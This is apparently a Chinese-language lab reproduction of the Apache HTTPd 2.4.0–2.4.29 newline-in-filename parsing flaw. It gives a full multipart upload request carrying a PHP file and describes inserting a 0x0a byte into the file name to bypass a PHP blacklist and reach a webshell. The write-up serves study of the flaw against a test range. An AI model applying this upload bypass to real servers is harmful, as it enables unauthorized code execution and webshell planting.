漏洞描述
Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略。
影响范围
Apache HTTPd 2.4.0~2.4.29
复现过程
1、打开靶场抓包

发现响应包中

存在apache解析漏洞,可以绕过php黑名单
2、上传木马
写一个数据包上传木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST / HTTP/1.1 Host: ip:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358 Content-Length: 361 Connection: close Upgrade-Insecure-Requests: 1
-----------------------------9552222486401230933854482358 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/octet-stream
<?php phpinfo(); ?> -----------------------------9552222486401230933854482358 Content-Disposition: form-data; name="name"
1.php -----------------------------9552222486401230933854482358--
|
响应

上传失败
3、利用漏洞
修改1.php的hex为0a

插入0a,效果如下

木马成功上传
可以拿到webshell

漏洞复现完成